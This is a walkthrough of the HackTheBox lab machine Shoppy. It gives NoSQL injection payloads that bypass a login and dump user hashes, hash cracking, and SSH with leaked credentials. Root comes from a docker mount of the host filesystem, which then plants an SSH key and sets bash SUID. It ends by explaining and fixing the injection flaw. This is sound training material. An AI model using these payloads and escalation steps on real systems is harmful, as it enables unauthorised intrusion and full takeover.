Shoppy was one of the easier HackTheBox weekly machines to exploit, though identifying the exploits for the initial foothold could be a bit tricky. I’ll start by finding a website and use a NoSQL injection to bypass the admin login page, and another to dump users and hashes. With a cracked hash, I’ll log into a Mattermost server where I’ll find creds to the box that work for SSH. From there, I’ll need the lighest of reverse enginnering to get a static password from a binary, which gets me to the next user. This user is in the docker group, so I’ll load an image mounting the host file system, and get full disk access. I’ll show two ways to get a shell from that. In Beyond Root, a video walkthrough of the vulnerable web-server code, showing how the injections worked, and fixing them.

Box Info

Name Shoppy Shoppy
Release Date 17 Sep 2022
Retire Date 14 Jan 2023
OS Linux Linux
Base Points Easy [20]
Rated Difficulty Rated difficulty for Shoppy
Radar Graph Radar chart for Shoppy
First Blood User 6 mins, 03 seconds 22sh
First Blood Root 12 mins, 37 seconds 22sh



nmap finds two open TCP ports, SSH (22) and HTTP (80):

oxdf@hacky$ nmap -p- --min-rate 10000
Starting Nmap 7.80 ( ) at 2023-01-10 22:20 UTC
Nmap scan report for
Host is up (0.089s latency).
Not shown: 65532 closed ports
22/tcp   open  ssh
80/tcp   open  http
9093/tcp open  copycat

Nmap done: 1 IP address (1 host up) scanned in 7.46 seconds

oxdf@hacky$ nmap -p 22,80,9093 -sCV
Starting Nmap 7.80 ( ) at 2023-01-10 21:41 UTC
Nmap scan report for
Host is up (0.088s latency).

22/tcp   open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
80/tcp   open  http     nginx 1.23.1
|_http-server-header: nginx/1.23.1
|_http-title: Did not follow redirect to http://shoppy.htb
9093/tcp open  copycat?
| fingerprint-strings: 
|   GenericLines: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 200 OK
|     Content-Type: text/plain; version=0.0.4; charset=utf-8
|     Date: Tue, 10 Jan 2023 21:41:55 GMT
|     HELP go_gc_cycles_automatic_gc_cycles_total Count of completed GC cycles generated by the Go runtime.
|     TYPE go_gc_cycles_automatic_gc_cycles_total counter
|     go_gc_cycles_automatic_gc_cycles_total 4
|     HELP go_gc_cycles_forced_gc_cycles_total Count of completed GC cycles forced by the application.
|     TYPE go_gc_cycles_forced_gc_cycles_total counter
|     go_gc_cycles_forced_gc_cycles_total 0
|     HELP go_gc_cycles_total_gc_cycles_total Count of all completed GC cycles.
|     TYPE go_gc_cycles_total_gc_cycles_total counter
|     go_gc_cycles_total_gc_cycles_total 4
|     HELP go_gc_duration_seconds A summary of the pause duration of garbage collection cycles.
|     TYPE go_gc_duration_seconds summary
|     go_gc_duration_seconds{quantile="0"} 4.8561e-05
|     go_gc_duration_seconds{quantile="0.25"} 8.7123e-05
|_    go_gc_dur
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at :
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 104.98 seconds

Based on the OpenSSH version, the host is likely running Debian 11 bullseye. Port 80 shows a redirect to shoppy.htb.

Subdomain Fuzz

Given the use of DNS names, I’ll see if the server responds differently to any subdomains with wfuzz. By first running with no filter, I can check the default response:

oxdf@hacky$ wfuzz -u -H "Host: FUZZ.shoppy.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Total requests: 4989

ID           Response   Lines    Word     Chars       Payload

000000001:   301        7 L      11 W     169 Ch      "www"
000000002:   301        7 L      11 W     169 Ch      "mail"
000000003:   301        7 L      11 W     169 Ch      "ftp"
000000004:   301        7 L      11 W     169 Ch      "localhost"
000000005:   301        7 L      11 W     169 Ch      "webmail"
000000006:   301        7 L      11 W     169 Ch      "smtp"
000000007:   301        7 L      11 W     169 Ch      "webdisk"
000000008:   301        7 L      11 W     169 Ch      "pop"
000000009:   301        7 L      11 W     169 Ch      "cpanel"
000000010:   301        7 L      11 W     169 Ch      "whm"

Seems like 169 characters is the default, so I’ll filter that with --hh 169:

oxdf@hacky$ wfuzz -u -H "Host: FUZZ.shoppy.htb" -w /usr/share/seclists/Discovery/DNS/bitquark-subdomains-top100000.txt --hh 169
* Wfuzz 2.4.5 - The Web Fuzzer                         *

Total requests: 100000

ID           Response   Lines    Word     Chars       Payload

000047340:   200        0 L      141 W    3122 Ch     "mattermost"

Total time: 867.1220
Processed Requests: 100000
Filtered Requests: 99999
Requests/sec.: 115.3240

I’ll add both shoppy.htb and mattermost.shoppy.htb to my /etc/hosts file: shoppy.htb mattermost.shoppy.htb

shoppy.htb - TCP 80


The site just says that the store is coming soon:

Tech Stack

I’ll guess at file names for the default path, with things like /index.html, index.php, and find nothing. This doesn’t tell me what the technology stack is, but it suggests it’s not PHP, and likely not just a static site, but likely some framework that assigns routes.

The HTTP response headers don’t give any additional information.

Directory Brute Force

I’ll run feroxbuster against the site to look for paths on the site that aren’t linked:

oxdf@hacky$ feroxbuster -u http://shoppy.htb

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.7.1
 🎯  Target Url            │ http://shoppy.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ [200, 204, 301, 302, 307, 308, 401, 403, 405, 500]
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.7.1
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │
 🏁  Press [ENTER] to use the Scan Management Menu™
301      GET       10l       16w      173c http://shoppy.htb/css => /css/
302      GET        1l        4w       28c http://shoppy.htb/admin => /login
301      GET       10l       16w      171c http://shoppy.htb/js => /js/
301      GET       10l       16w      179c http://shoppy.htb/images => /images/
200      GET       57l      129w     2178c http://shoppy.htb/
200      GET       26l       62w     1074c http://shoppy.htb/login
301      GET       10l       16w      179c http://shoppy.htb/assets => /assets/
302      GET        1l        4w       28c http://shoppy.htb/Admin => /login
200      GET       26l       62w     1074c http://shoppy.htb/Login
301      GET       10l       16w      185c http://shoppy.htb/assets/js => /assets/js/
301      GET       10l       16w      187c http://shoppy.htb/assets/css => /assets/css/
301      GET       10l       16w      187c http://shoppy.htb/assets/img => /assets/img/
301      GET       10l       16w      177c http://shoppy.htb/fonts => /fonts/
301      GET       10l       16w      191c http://shoppy.htb/assets/fonts => /assets/fonts/
302      GET        1l        4w       28c http://shoppy.htb/ADMIN => /login
301      GET       10l       16w      203c http://shoppy.htb/assets/img/avatars => /assets/img/avatars/
301      GET       10l       16w      181c http://shoppy.htb/exports => /exports/
301      GET       10l       16w      197c http://shoppy.htb/assets/img/dogs => /assets/img/dogs/
200      GET       26l       62w     1074c http://shoppy.htb/LOGIN
[####################] - 9m    420000/420000  0s      found:19      errors:0      
[####################] - 8m     30000/30000   57/s    http://shoppy.htb 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/css 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/js 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/images 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/ 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/assets 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/assets/js 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/assets/css 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/assets/img 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/fonts 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/assets/fonts 
[####################] - 8m     30000/30000   57/s    http://shoppy.htb/assets/img/avatars 
[####################] - 8m     30000/30000   56/s    http://shoppy.htb/exports 
[####################] - 6m     30000/30000   78/s    http://shoppy.htb/assets/img/dogs 

/admin and /login are the most interesting (though the former just redirects to the latter)


/login gives a login form:


Testing a few guesses, there’s no obvious difference between non-existent user and wrong password (though I don’t know for sure there is an admin user). Everything I put in just return “Wrong Credentials”:


mattermost.shoppy.htb - TCP 80


This looks like an instance of Mattermost, an open source Slack alternative. Visiting redirects to a login form at /login:


Tech Stack

The headers show that it is still NGINX, but not much else:

HTTP/1.1 200 OK
Server: nginx/1.23.1
Date: Wed, 11 Jan 2023 17:03:01 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3122
Connection: close
Accept-Ranges: bytes
Cache-Control: no-cache, max-age=31556926, public
Content-Security-Policy: frame-ancestors 'self'; script-src 'self'
Last-Modified: Tue, 10 Jan 2023 21:37:24 GMT
X-Frame-Options: SAMEORIGIN
X-Request-Id: ykzwcf7fq3bktf1tr377jbja8h

I’ll poke at the page source and the JavaScript files a bit for any clue about the version it’s running, but without luck.

The copyright at the bottom of the page says 2023 (which is after the box was released), so it must be updating dynamically.


I’ll skip the directory brute force here, focusing on looking for potential vulnerabilities. Neither Google nor searchsploit find anything of value. All the CVEs are low impact. I’ll have to come back here once I find some credentials and can login.

HTTP - TCP 9093

Visiting this over HTTP returns some kind of log:

image-20230111122430910Click for full size image

Trying to figure out what this was sent me down a bit of a rabbit hole. Port 9093 is associated with the Prometheus AltertManager Plugin for Mattermost, so that could be it.

It mentions playbook_plugin_process many times down in the file. That could be a Mattermost thing as well.

No matter what it is, there isn’t much information here that seems too useful to me.

Shell as jaeger

Admin Auth ByPass

Not SQL Injection

I always quickly jam a few SQL injection payloads into a form when I see one. In this case, I’ll send the login request to Burp Repeater and try adding a simple '. The request hangs for a full minute, then returns a 504 Gateway Time-out:


This suggests the server is having a really hard time with that request, and it could be nothing, or it could be something.

No other SQL injection payloads I try return anything different.

NoSQL Failures

Given that ' is messing up the server, I’ll look at NoSQL as well. One way to try this would be with something like I showed in Mango:


That doesn’t work here, and hangs just the same.

Another way would be to convert to JSON. I’ll change the Content-Type header as well as the payload itself. Without an injection, this works fine (returning the 302 saying it failed login):


Now I can try the method that worked in NodeBlog, but it hangs, and eventually returns a timeout:


At one point I did accidentally send the "$ne" without the " around it, which returned a 400:


Rending this response shows an error trace:


It doesn’t like the $ character, and it’s at the JSON parsing level, before it gets to a potential DB call. Seems like a deadend there. But I did leak some interesting information:

  • Username on box jaeger
  • App is running out of /home/jaeger/ShoppyApp

Neither of these end up important to getting a foothold, but this is the kind of information that could be useful in general.

NoSQL Injection Success

There’s a method of attacking NoSQL queries that looks much more like SQL injection which I find in this article from Null Sweep. I wanted to try the tool described in this post (nosqli), but the hang when sending many payloads causes the tool to fail.

At the bottom of the article, they give this example:

let username = req.query.username;
query = { $where: `this.username == '${username}'` }
User.find(query, function (err, users) {
	if (err) {
		// Handle errors
	} else {
		res.render('userlookup', { title: 'User Lookup', users: users });

And they show how they can get all the users with ' || 'a'=='a.

I like to try payloads like this in the username field, since hopefully the password field is going to be hashes before it is used. Going back to this payload (and seeing Content-Type back to application/x-www-form-urlencoded):

username=admin' || 'a'=='a&password=admin

Results in:

HTTP/1.1 302 Found
Server: nginx/1.23.1
Date: Wed, 11 Jan 2023 23:00:49 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 56
Connection: close
Location: /admin
Vary: Accept
Set-Cookie: connect.sid=s%3AReILweHHX4bMBcDk4TiDrE3ATGvqbBnT.1x8gE%2Fp%2FM79FzOS6DQvwdmngxdyyyvT637dxIsReuZQ; Path=/; HttpOnly

<p>Found. Redirecting to <a href="/admin">/admin</a></p>

That’s a cookie set and a redirect to /admin! That’s success.

Interestingly, this only works if the username exists. If I change the payload to:

username=0xdf' || 'a'=='a&password=admin

It redirects with “Wrong Credentials”.

I’ll dig into this and another NoSQL vulnerability in Beyond Root.

Access to Mattermost


Either by grabbing the cookie from Repeater or just logging in from Firefox with the NoSQL payload, I get into the admin panel:


That page looks relatively static. The “Search for users” button leads to /admin/search-users:


If I search for “0xdf”, it finds nothing. If I search for “admin”, it offers a download:


It opens export-search.json, which contains admin’s id, username, and password:


The hash looks like MD5, but doesn’t crack with rockyou.txt.

NoSQL Injection Again

The app has already shown itself vulnerable to NoSQL injection, so I’ll try again:


This would get a record if the name is admin or if 1==1, which is always true! It works, the resulting file has a second account it in:


Crack Hash

MD5 hashes (which are 32 hex characters in length like this one) are not salted or anything, so the hash of the same input is always the same. Wordlists like rockyou (which is what is typically used in HTB) have already had all their hashes stored in rainbow tables which are accessible thought things like crackstation.

It comes back instantly:

image-20230111204954763Click for full size image

Log into Mattermost

This password with the username josh logs into Mattermost:


Creds for Jaeger

Reading the different channels, most is just small talk, but two channels have interesting information.

The two interesting speakers in the chat are Josh and Jaeger. Josh’s profile shows that they are a developer, and Jaeger is the CEO:


In the public channel “Development”, Josh talks about making a password manager in C++. I’ll keep an eye out for this when I get a shell:


The “Deploy Machine” private channel has another conversation between Josh and Jaeger. Jaeger asks for a machine set up with a username and password:



With those creds, I can SSH into the box as jaeger:

oxdf@hacky$ sshpass -p 'Sh0ppyBest@pp!' ssh jaeger@shoppy.htb
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

And read user.txt:

jaeger@shoppy:~$ cat user.txt

Shell as deploy


jaeger can run /home/deploy/password-manager as deploy:

jaeger@shoppy:~$ sudo -l
[sudo] password for jaeger: 
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

/home/deploy has the binary, as well as the source and a creds.txt:

jaeger@shoppy:~$ ls -l ../deploy/
total 28
-rw------- 1 deploy deploy    56 Jul 22 13:15 creds.txt
-rwxr--r-- 1 deploy deploy 18440 Jul 22 13:20 password-manager
-rw------- 1 deploy deploy   739 Feb  1  2022 password-manager.cpp

As jaeger, I can only read the binary. With sudo, I can also run it as deploy:

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: 0xdf
Access denied! This incident will be reported !

I’ll copy it back to my machine with scp:

oxdf@hacky$ sshpass -p 'Sh0ppyBest@pp!' scp jaeger@shoppy.htb:/home/deploy/password-manager .

Reverse Engineering


The binary is a 64-bit ELF:

oxdf@hacky$ file password-manager 
password-manager: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=400b2ed9d2b4121f9991060f343348080d2905d1, for GNU/Linux 3.2.0, not stripped

I’ll open it in Ghidra to take a look. C++ is a mess in Ghidra, but the program is very simple.

It prints the welcome and and password prompt:


Next it creates a string and saves my input into it:


Now it creates another string and appends the characters “S”, “a”, “m”, “p”, “l”, “e” to it:


It compares the input to “Sample”, and if they don’t match (non-zero return in pass_match), print the “Access denied!” message:


Otherwise, it prints “Access granted”, and then calls system("cat /home/deploy/creds.txt"):



Originally I did try running strings on the binary, but didn’t see anything that looked like a password. Only after solving when chatting with IppSec did he point out that I should also check 16-bit character strings, and there it is (the only 16-bit character string):

oxdf@hacky$ strings -el password-manager 


With that information, I’ll run the binary again on Shoppy and it prints creds for deploy:

jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!

su allows me to switch users with their password:

jaeger@shoppy:~$ su deploy
$ bash

deploy seems to have sh as their default shell, but I’ll switch to bash. I can see this in the /etc/passwd file:

deploy@shoppy:/home/jaeger$ cat /etc/passwd | grep deploy

Shell as root


There aren’t any other interesting files in /home/deploy, and nothing else on the file system jumps out.

deploy is in one additional group:

deploy@shoppy:~$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

docker is installed on the box, and because deploy it in the docker group, they can interact with it, though no containers are running:

deploy@shoppy:~$ docker ps

There is one image on the box, apline, a very small image with limited functionality:

deploy@shoppy:~$ docker images
alpine       latest    d7d3d98c851f   5 months ago   5.53MB

Access Filesystem as root


The exploit here is to create a new container that has the entire file system mounted into it. In that container, I’ll be root, and thus have full access to all the files in the container (including the full host filesystem).

I’ve shown this several times with lxc before, but never like this with Docker (GoodGames is the closest example).

I’ll start the container with docker run and the following options:

  • --rm - remove the container when it’s done
  • -it - keep STDIN open and assign a PTTY
  • -v /:/mnt - mount the host / to /mnt inside the container

I’ll also give it the image name (alpine) and the command to run /bin/sh (no bash on Alpine). With these, I can start the image and find the host file system in /mnt:

deploy@shoppy:~$ docker run --rm -it -v /:/mnt alpine /bin/sh
/ # ls
bin    dev    etc    home   lib    media  mnt    opt    proc   root   run    sbin   srv    sys    tmp    usr    var
/ # ls /mnt/
bin             dev             home            initrd.img.old  lib32           libx32          media           opt             root            sbin            sys             usr             vmlinuz
boot            etc             initrd.img      lib             lib64           lost+found      mnt             proc            run             srv             tmp             var             vmlinuz.old

Neat Upgrade

A neat trick from the Docker GTFObins page is to use chroot instead of sh as the command. I don’t really need anything in the container filesystem. So I’ll call chroot /mnt /bin/sh (giving it a command to run as well, see the man page). This will set the root of the filesystem to be what was /mnt, and then run a shell. This gives the feel as if I’m just back on the host:

deploy@shoppy:~$ docker run --rm -it -v /:/mnt alpine chroot /mnt sh
# ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old

Read Flag

From here I can read root.txt:

# cat /root/root.txt



The simplest way to get a shell as root is to drop my public SSH key into an authorized_keys file for root:

# mkdir /root/.ssh
# echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDIK/xSi58QvP1UqH+nBwpD1WQ7IaxiVdTpsg5U19G3d nobody@nothing" > /root/.ssh/authorized_keys 
# chmod 600 /root/.ssh/authorized_keys

Now I can connect with SSH:

oxdf@hacky$ ssh -i ~/keys/ed25519_gen root@shoppy.htb
Linux shoppy 5.10.0-18-amd64 #1 SMP Debian 5.10.140-1 (2022-09-02) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.

SUID bash

A perhaps quieter way is to make bash SetUID:

# chmod 4777 /bin/bash

Because I’m working from the chroot file system, that bash is on the host. Exiting the container, I can verify it worked because the first x is now s:

deploy@shoppy:~$ ls -l /bin/bash
-rwsrwxrwx 1 root root 1234376 Mar 27  2022 /bin/bash

Running it (with -p to not drop privs) gives a shell with the effective id of root:

deploy@shoppy:~$ bash -p
bash-5.1# id
uid=1001(deploy) gid=1001(deploy) euid=0(root) groups=1001(deploy),998(docker)

Beyond Root - NoSQL Injection

In this video, I’ll use VSCode to connect to Shoppy, and analyze the NodeJS code for the website to better understand the NoSQL injections. Then I’ll fix the vulnerabilities and show that they no longer are exploitable:

One thing I didn’t go into in the video was how the boolean logic works for this injection. With the injection admin'||'a'=='a, the query becomes:

this.username == 'admin' || 'a'=='a' && this.password == '0xdf'

That is:

true || true && false

How does that evaluate? I can check it in a browser:


But why does it work? The Operator Precedence for JavaScript groups operators into groups numbered 1-18, which are processed from 18 down to 1. Logical AND (&&) is group 4, and Logical OR (||) is in group 3:


So for the user admin, the query can be simplified a bit on each line:

this.username == 'admin' || 'a'=='a' && this.password == '0xdf'
true || true && false
true || false